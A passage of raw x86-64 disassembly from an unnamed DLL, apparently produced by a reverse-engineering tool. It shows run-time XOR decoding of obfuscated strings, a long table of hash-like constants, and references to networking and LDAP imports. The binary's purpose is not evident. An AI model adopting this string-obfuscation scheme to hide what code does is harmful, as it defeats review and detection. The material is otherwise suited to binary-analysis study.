psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4cc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4cc], xmm2
jmp 0x18008bff0
lea r9, [rbp + 0x4c8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008bfc0
lea rax, [rbp + 0x4c8]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008c000
lea rdx, [rbp + 0x4c8]
jmp 0x18008c521
cmp byte [0x1801b7513], sil
movsd xmm0, qword [0x1801b7508]
mov eax, dword [0x1801b7510]
movsd qword [rbp + 0x1420], xmm0
mov dword [rbp + 0x1428], eax
je 0x18008c170
mov r8d, esi
cmp r12d, 2
jl 0x18008c129
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7508]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1420], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1424]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1424], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1420]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008c140
lea rax, [rbp + 0x1420]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008c180
lea rdx, [rbp + 0x1420]
jmp 0x18008c521
movzx ecx, word [0x1801b7520]
mov r8, r13
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.ZS_BDLPYP_]
movsd qword [rbp + 0x1330], xmm0
xor byte [rbp + 0x1331], 0x33
xor byte [rbp + 0x1332], 0x34
xor byte [rbp + 0x1333], 0x35
xor byte [rbp + 0x1334], 0x36
xor byte [rbp + 0x1335], 0x37
xor byte [rbp + 0x1336], 0x38
xor byte [rbp + 0x1337], 0x39
mov word [rbp + 0x1338], cx
xor cl, 0x3a
xor byte [rbp + 0x1339], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1330], Ordinal_79
mov byte [rbp + 0x133a], al
lea rax, [rbp + 0x1330]
mov byte [rbp + 0x1338], cl
inc r8
cmp byte [rax + r8], sil
jne 0x18008c214
lea rdx, [rbp + 0x1330]
jmp 0x18008c521
cmp byte [0x1801b7533], sil
movsd xmm0, qword [str.bZDP]
mov eax, dword [0x1801b7530]
movsd qword [rbp + 0x1430], xmm0
mov dword [rbp + 0x1438], eax
je 0x18008c380
mov r8d, esi
cmp r12d, 2
jl 0x18008c33d
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.bZDP]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1430], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1434]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1434], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1430]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008c350
lea rax, [rbp + 0x1430]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008c390
lea rdx, [rbp + 0x1430]
jmp 0x18008c521
movzx ecx, word [0x1801b7540]
mov r8, r13
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.pR_AZR]
movsd qword [rbp + 0x1340], xmm0
xor byte [rbp + 0x1341], 0x33
xor byte [rbp + 0x1342], 0x34
xor byte [rbp + 0x1343], 0x35
xor byte [rbp + 0x1344], 0x36
xor byte [rbp + 0x1345], 0x37
xor byte [rbp + 0x1346], 0x38
xor byte [rbp + 0x1347], 0x39
mov word [rbp + 0x1348], cx
xor cl, 0x3a
xor byte [rbp + 0x1349], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1340], 0x42
mov byte [rbp + 0x134a], al
lea rax, [rbp + 0x1340]
mov byte [rbp + 0x1348], cl
inc r8
cmp byte [rax + r8], sil
jne 0x18008c424
lea rdx, [rbp + 0x1340]
jmp 0x18008c521
movzx eax, byte [0x1801b7550]
mov r8, r13
movsd xmm0, qword [str.b_Y]
movsd qword [rbp + 0xe40], xmm0
xor byte [rbp + 0xe41], 0x33
xor byte [rbp + 0xe42], 0x34
xor byte [rbp + 0xe43], 0x35
xor byte [rbp + 0xe44], 0x36
xor byte [rbp + 0xe45], 0x37
xor byte [rbp + 0xe46], 0x38
xor byte [rbp + 0xe47], 0x39
xor al, 0x3a
mov byte [rbp + 0xe40], 0x50
mov byte [rbp + 0xe48], al
lea rax, [rbp + 0xe40]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008c4a0
lea rdx, [rbp + 0xe40]
jmp 0x18008c521
mov eax, dword [str.wAFZD]
mov r8, r13
movzx ecx, word [0x1801b7558]
mov dword [rbp + 0x1e8], eax
movzx eax, byte [0x1801b755a]
xor byte [rbp + 0x1e9], 0x33
xor byte [rbp + 0x1ea], 0x34
xor byte [rbp + 0x1eb], 0x35
mov word [rbp + 0x1ec], cx
xor cl, 0x36
xor byte [rbp + 0x1ed], 0x37
xor al, 0x38
mov byte [rbp + 0x1e8], 0x45
mov byte [rbp + 0x1ee], al
lea rax, [rbp + 0x1e8]
mov byte [rbp + 0x1ec], cl
inc r8
cmp byte [rax + r8], sil
jne 0x18008c511
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x2e70]
call fcn.18000aa40
cmp qword [rbp + 0x2e88], 0xf
lea rcx, [rbp + 0x2e70]
lea rdx, [0x1802402b0]
cmova rcx, qword [rbp + 0x2e70]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x18008c59a
cmp dword [0x18023d950], ebx
lea rcx, [rbp + 0x2e70]
lea r9, [rbp + 0x4d0]
mov dword [rbp + 0x4d0], esi
sete dl
mov dword [rbp + 0x4d4], esi
cmp qword [rbp + 0x2e88], 0xf
cmova rcx, qword [rbp + 0x2e70]
xor r8d, r8d
call fcn.180008210
test al, al
je 0x18008c59a
mov dword [0x18023d950], ebx
inc ebx
cmp ebx, 0x58
jl 0x1800855f0
call fcn.180013c40
mov eax, dword [0x18023d950]
cmp eax, r13d
je 0x18008c5bb
mov dword [0x18023d954], eax
cmp byte [0x1801b756d], sil
mov eax, dword [0x1801b7568]
movsd xmm0, qword [0x1801b7560]
mov dword [rbp + 0x1ab8], eax
movzx eax, word [0x1801b756c]
mov word [rbp + 0x1abc], ax
movsd qword [rbp + 0x1ab0], xmm0
je 0x18008c720
mov r8d, esi
cmp r12d, 2
jl 0x18008c6dd
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7560]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1ab0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ab4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ab4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ab0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008c6f0
lea rdx, [0x18023c51c]
lea rcx, [rbp + 0x1ab0]
call fcn.1800031c0
lea rcx, [rbp + 0x4d8]
call fcn.180016730
cmp byte [0x1801b757b], sil
movss xmm0, dword [rax]
mov eax, dword [0x1801b7578]
movss dword [rbp + 0x4e0], xmm0
movsd xmm0, qword [str.uZBP]
movsd qword [rbp + 0x1440], xmm0
mov dword [rbp + 0x4e4], 0x42200000
mov dword [rbp + 0x1448], eax
je 0x18008c8b0
mov r8d, esi
cmp r12d, 2
jl 0x18008c869
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.uZBP]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1440], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1444]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1444], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1440]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008c880
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x1440]
call fcn.180002b60
test al, al
je 0x18008ce50
mov eax, dword [0x18023d950]
test eax, eax
jne 0x18008c8e0
mov r8d, 0x1b06d571
jmp 0x18008ce30
cmp eax, 1
jne 0x18008c8f0
mov r8d, 0xbfe256d4
jmp 0x18008ce30
cmp eax, 2
jne 0x18008c900
mov r8d, 0x5ef9fec4
jmp 0x18008ce30
cmp eax, 3
jne 0x18008c910
mov r8d, 0x22d8fe39
jmp 0x18008ce30
cmp eax, 4
jne 0x18008c920
mov r8d, 0x3656c8c1
jmp 0x18008ce30
cmp eax, 5
jne 0x18008c930
mov r8d, 0x99aeeb3b
jmp 0x18008ce30
cmp eax, 6
jne 0x18008c940
mov r8d, 0xbfd21232
jmp 0x18008ce30
cmp eax, 7
jne 0x18008c950
mov r8d, 0x88374054
jmp 0x18008ce30
cmp eax, 8
jne 0x18008c960
mov r8d, 0xd205520e
jmp 0x18008ce30
cmp eax, 9
jne 0x18008c970
mov r8d, 0x83839c4
jmp 0x18008ce30
cmp eax, 0xa
jne 0x18008c980
mov r8d, 0x47757124
jmp 0x18008ce30
cmp eax, 0xb
jne 0x18008c990
mov r8d, 0xdc4db296
jmp 0x18008ce30
cmp eax, 0xc
jne 0x18008c9a0
mov r8d, 0xc1b3c3d1
jmp 0x18008ce30
cmp eax, 0xd
jne 0x18008c9b0
mov r8d, 0xcb96392f
jmp 0x18008ce30
cmp eax, 0xe
jne 0x18008c9c0
mov r8d, 0xaf3696a1
jmp 0x18008ce30
cmp eax, 0xf
jne 0x18008c9d0
mov r8d, 0x2b5ef5ec
jmp 0x18008ce30
cmp eax, 0x10
jne 0x18008c9e0
mov r8d, 0x13532244
jmp 0x18008ce30
cmp eax, 0x11
jne 0x18008c9f0
mov r8d, 0x2be6766b
jmp 0x18008ce30
cmp eax, 0x12
jne 0x18008ca00
mov r8d, 0x78a97cd0
jmp 0x18008ce30
cmp eax, 0x13
jne 0x18008ca10
mov r8d, 0xefe7e2df
jmp 0x18008ce30
cmp eax, 0x14
jne 0x18008ca20
mov r8d, 0xa3d4d34
jmp 0x18008ce30
cmp eax, 0x15
jne 0x18008ca30
mov r8d, 0xdb1aa450
jmp 0x18008ce30
cmp eax, 0x16
jne 0x18008ca40
mov r8d, 0xbd248b55
jmp 0x18008ce30
cmp eax, 0x17
jne 0x18008ca50
mov r8d, 0x476bf155
jmp 0x18008ce30
cmp eax, 0x18
jne 0x18008ca60
mov r8d, 0xbfefff6d
jmp 0x18008ce30
cmp eax, 0x19
jne 0x18008ca70
mov r8d, 0x394f415c
jmp 0x18008ce30
cmp eax, 0x1a
jne 0x18008ca80
mov r8d, 0x83bf0278
jmp 0x18008ce30
cmp eax, 0x1b
jne 0x18008ca90
mov r8d, 0xfad1f1c9
jmp 0x18008ce30
cmp eax, 0x1c
jne 0x18008caa0
mov r8d, 0xaf113f99
jmp 0x18008ce30
cmp eax, 0x1d
jne 0x18008cab0
mov r8d, 0xc0a3098d
jmp 0x18008ce30
cmp eax, 0x1e
jne 0x18008cac0
mov r8d, 0x969c3d67
jmp 0x18008ce30
cmp eax, 0x1f
jne 0x18008cad0
mov r8d, 0x7f229f94
jmp 0x18008ce30
cmp eax, 0x20
jne 0x18008cae0
mov r8d, 0x84d6fafd
jmp 0x18008ce30
cmp eax, 0x21
jne 0x18008caf0
mov r8d, 0x624fe830
jmp 0x18008ce30
cmp eax, 0x22
jne 0x18008cb00
mov r8d, 0x9d1f17e6
jmp 0x18008ce30
cmp eax, 0x23
jne 0x18008cb10
mov r8d, 0xc78d71b4
jmp 0x18008ce30
cmp eax, 0x24
jne 0x18008cb20
mov r8d, 0xd1d5f52b
jmp 0x18008ce30
cmp eax, 0x25
jne 0x18008cb30
mov r8d, 0x1d073a89
jmp 0x18008ce30
cmp eax, 0x26
jne 0x18008cb40
mov r8d, 0x555af99a
jmp 0x18008ce30
cmp eax, 0x27
jne 0x18008cb50
mov r8d, 0x7846a318
jmp 0x18008ce30
cmp eax, 0x28
jne 0x18008cb60
mov r8d, 0xe284c527
jmp 0x18008ce30
cmp eax, 0x29
jne 0x18008cb70
mov r8d, 0x9d61e50f
jmp 0x18008ce30
cmp eax, 0x2a
jne 0x18008cb80
mov r8d, 0xa89cb99e
jmp 0x18008ce30
cmp eax, 0x2b
jne 0x18008cb90
mov r8d, 0x3aabbbaa
jmp 0x18008ce30
cmp eax, 0x2c
jne 0x18008cba0
mov r8d, 0xef951fbb
jmp 0x18008ce30
cmp eax, 0x2d
jne 0x18008cbb0
mov r8d, 0x12e82d3d
jmp 0x18008ce30
cmp eax, 0x2e
jne 0x18008cbc0
mov r8d, 0x9d07f764
jmp 0x18008ce30
cmp eax, 0x2f
jne 0x18008cbd0
mov r8d, 0x7fd62962
jmp 0x18008ce30
cmp eax, 0x30
jne 0x18008cbe0
mov r8d, 0xdbbd7280
jmp 0x18008ce30
cmp eax, 0x31
jne 0x18008cbf0
mov r8d, 0x61012683
jmp 0x18008ce30
cmp eax, 0x32
jne 0x18008cc00
mov r8d, 0x5fc3c11
jmp 0x18008ce30
cmp eax, 0x33
jne 0x18008cc10
mov r8d, 0xc472fe2
jmp 0x18008ce30
cmp eax, 0x34
jne 0x18008cc20
mov r8d, 0xa914799
jmp 0x18008ce30
cmp eax, 0x35
jne 0x18008cc30
mov r8d, 0xc734385a
jmp 0x18008ce30
cmp eax, 0x36
jne 0x18008cc40
mov r8d, 0x6a6c02e0
jmp 0x18008ce30
cmp eax, 0x37
jne 0x18008cc50
mov r8d, 0x6e7dddec
jmp 0x18008ce30
cmp eax, 0x38
jne 0x18008cc60
mov r8d, 0xb1ca77b1
jmp 0x18008ce30
cmp eax, 0x39
jne 0x18008cc70
mov r8d, 0xa284510b
jmp 0x18008ce30
cmp eax, 0x3a
jne 0x18008cc80
mov r8d, 0x42bf8a85
jmp 0x18008ce30
cmp eax, 0x3b
jne 0x18008cc90
mov r8d, 0x7f7497e5
jmp 0x18008ce30
cmp eax, 0x3c
jne 0x18008cca0
mov r8d, 0x6d544c99
jmp 0x18008ce30
cmp eax, 0x3d
jne 0x18008ccb0
mov r8d, 0x63ab0442
jmp 0x18008ce30
cmp eax, 0x3e
jne 0x18008ccc0
mov r8d, 0x781fe4a
jmp 0x18008ce30
cmp eax, 0x3f
jne 0x18008ccd0
mov r8d, 0xb62d1f67
jmp 0x18008ce30
cmp eax, 0x40
jne 0x18008cce0
mov r8d, 0x93e220bd
jmp 0x18008ce30
cmp eax, 0x41
jne 0x18008ccf0
mov r8d, 0xa0973d5e
jmp 0x18008ce30
cmp eax, 0x42
jne 0x18008cd00
mov r8d, 0x24b17070
jmp 0x18008ce30
cmp eax, 0x43
jne 0x18008cd10
mov r8d, 0x2c3731d9
jmp 0x18008ce30
cmp eax, 0x44
jne 0x18008cd20
mov r8d, 0xab564b93
jmp 0x18008ce30
cmp eax, 0x45
jne 0x18008cd30
mov r8d, 0x787f0bb
jmp 0x18008ce30
cmp eax, 0x46
jne 0x18008cd40
mov r8d, 0xba45e8b8
jmp 0x18008ce30
cmp eax, 0x47
jne 0x18008cd50
mov r8d, 0x23c9f95c
jmp 0x18008ce30
cmp eax, 0x48
jne 0x18008cd60
mov r8d, 0x92a27487
jmp 0x18008ce30
cmp eax, 0x49
jne 0x18008cd70
mov r8d, 0x958a4a8f
jmp 0x18008ce30
cmp eax, 0x4a
jne 0x18008cd80
mov r8d, 0xf9e6aa4b
jmp 0x18008ce30
cmp eax, 0x4b
jne 0x18008cd90
mov r8d, 0x84bd7bfd
jmp 0x18008ce30
cmp eax, 0x4c
jne 0x18008cda0
mov r8d, 0x8bb05fd7
jmp 0x18008ce30
cmp eax, 0x4d
jne 0x18008cdb0
mov r8d, 0x440e4788
jmp 0x18008ce30
cmp eax, 0x4e
jne 0x18008cdbd
mov r8d, 0x4e875f73
jmp 0x18008ce30
cmp eax, 0x4f
jne 0x18008cdca
mov r8d, 0xf9dcbf2d
jmp 0x18008ce30
cmp eax, 0x50
jne 0x18008cdd7
mov r8d, 0xd8df3c3c
jmp 0x18008ce30
cmp eax, 0x51
jne 0x18008cde4
mov r8d, 0x99b507ea
jmp 0x18008ce30
cmp eax, 0x52
jne 0x18008cdf1
mov r8d, 0xdd5df8d9
jmp 0x18008ce30
cmp eax, 0x53
jne 0x18008cdfe
mov r8d, 0xdfe37640
jmp 0x18008ce30
cmp eax, 0x54
jne 0x18008ce0b
mov r8d, 0x678b81b1
jmp 0x18008ce30
cmp eax, 0x55
jne 0x18008ce18
mov r8d, 0x19044ee0
jmp 0x18008ce30
cmp eax, 0x56
jne 0x18008ce25
mov r8d, 0xcd274149
jmp 0x18008ce30
cmp eax, 0x57
jne 0x18008ce50
mov r8d, 0x94117305
movzx eax, byte [reloc.WS2_32.dll_accept]
mov r9d, 0xff
mov rdx, qword [0x18023d4d0]
mov rcx, r14
mov byte [rsp + 0x20], al
call fcn.1800b2880
lea rcx, [rbp + 0x2e70]
call fcn.180068b30
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
jmp 0x18008ce79
movss xmm7, dword [0x1801a17d4]
cmp dword [0x1802402a4], 2
jne 0x180090b46
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x4e8]
movss xmm8, dword [0x1801baad8]
addss xmm0, xmm8
mov dword [rbp + 0x4e8], 0x43520000
movss dword [rbp + 0x4ec], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b757c]
lea rdx, [rbp + 0x4f0]
mov dword [rbp + 8], eax
lea rcx, [rbp + 8]
movzx eax, byte [0x1801b7580]
mov r9d, 8
xor byte [rbp + 9], 0x33
xor al, 0x36
xor byte [rbp + 0xa], 0x34
xor r8d, r8d
xor byte [rbp + 0xb], 0x35
mov byte [rbp + 0xc], al
mov dword [rbp + 0x4f0], 0x43a50000
mov dword [rbp + 0x4f4], 0x4405c000
mov byte [rbp + 8], Ordinal_79
call fcn.18000fbb0
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.dVU__9uPXYS8]
mov qword [rbp + 0x500], rax
mov dword [rbp + 0x4f8], 0x43a00000
mov dword [rbp + 0x4fc], 0x434e0000
je 0x18008d080
cmp r12d, 2
jl 0x18008d040
movdqa xmm6, xmmword [0x1801bab60]
lea rdx, [rbp + 0x4f8]
movd eax, xmm9
lea rcx, [rbp + 0x500]
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
xor r9d, r9d
punpckldq xmm1, xmm6
mov r8b, 1
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x500]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x500], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x504]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x504], xmm2
call fcn.180003bf0
jmp 0x18008d0a1
lea r9, [rbp + 0x500]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008d050
xor r9d, r9d
lea rdx, [rbp + 0x4f8]
mov r8b, 1
lea rcx, [rbp + 0x500]
call fcn.180003bf0
movdqa xmm6, xmmword [0x1801bab60]
mov eax, dword [0x1801b7590]
lea rdx, [0x18023bfd1]
mov dword [rbp + 0x260], eax
lea rcx, [rbp + 0x260]
movzx eax, word [0x1801b7594]
xor byte [rbp + 0x261], 0x33
xor byte [rbp + 0x262], 0x34
xor byte [rbp + 0x263], 0x35
mov word [rbp + 0x264], ax
movzx eax, byte [0x1801b7596]
xor byte [rbp + 0x264], 0x36
xor al, 0x38
xor byte [rbp + 0x265], 0x37
mov byte [rbp + 0x266], al
mov byte [rbp + 0x260], 0x47
call fcn.1800031c0
movzx eax, word [0x1801b75a8]
mov r8d, esi
mov word [rbp + 0x2290], ax
movzx eax, byte [0x1801b75aa]
mov byte [rbp + 0x2292], al
movups xmm0, xmmword [0x1801b7598]
movups xmmword [rbp + 0x2280], xmm0
cmp r12d, 2
jl 0x18008d241
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2284]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008d150
cmp r8d, 0x13
jge 0x18008d280
movsxd rax, r8d
lea r9, [rbp + 0x2280]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18008d250
lea rdx, [0x18023bfd0]
lea rcx, [rbp + 0x2280]
call fcn.1800031c0
movzx eax, word [0x1801b75c0]
mov r8d, esi
mov word [rbp + 0x22a8], ax
movzx eax, byte [0x1801b75c2]
mov byte [rbp + 0x22aa], al
movups xmm0, xmmword [str.fZFPE]
movups xmmword [rbp + 0x2298], xmm0
cmp r12d, 2
jl 0x18008d3d1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x229c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
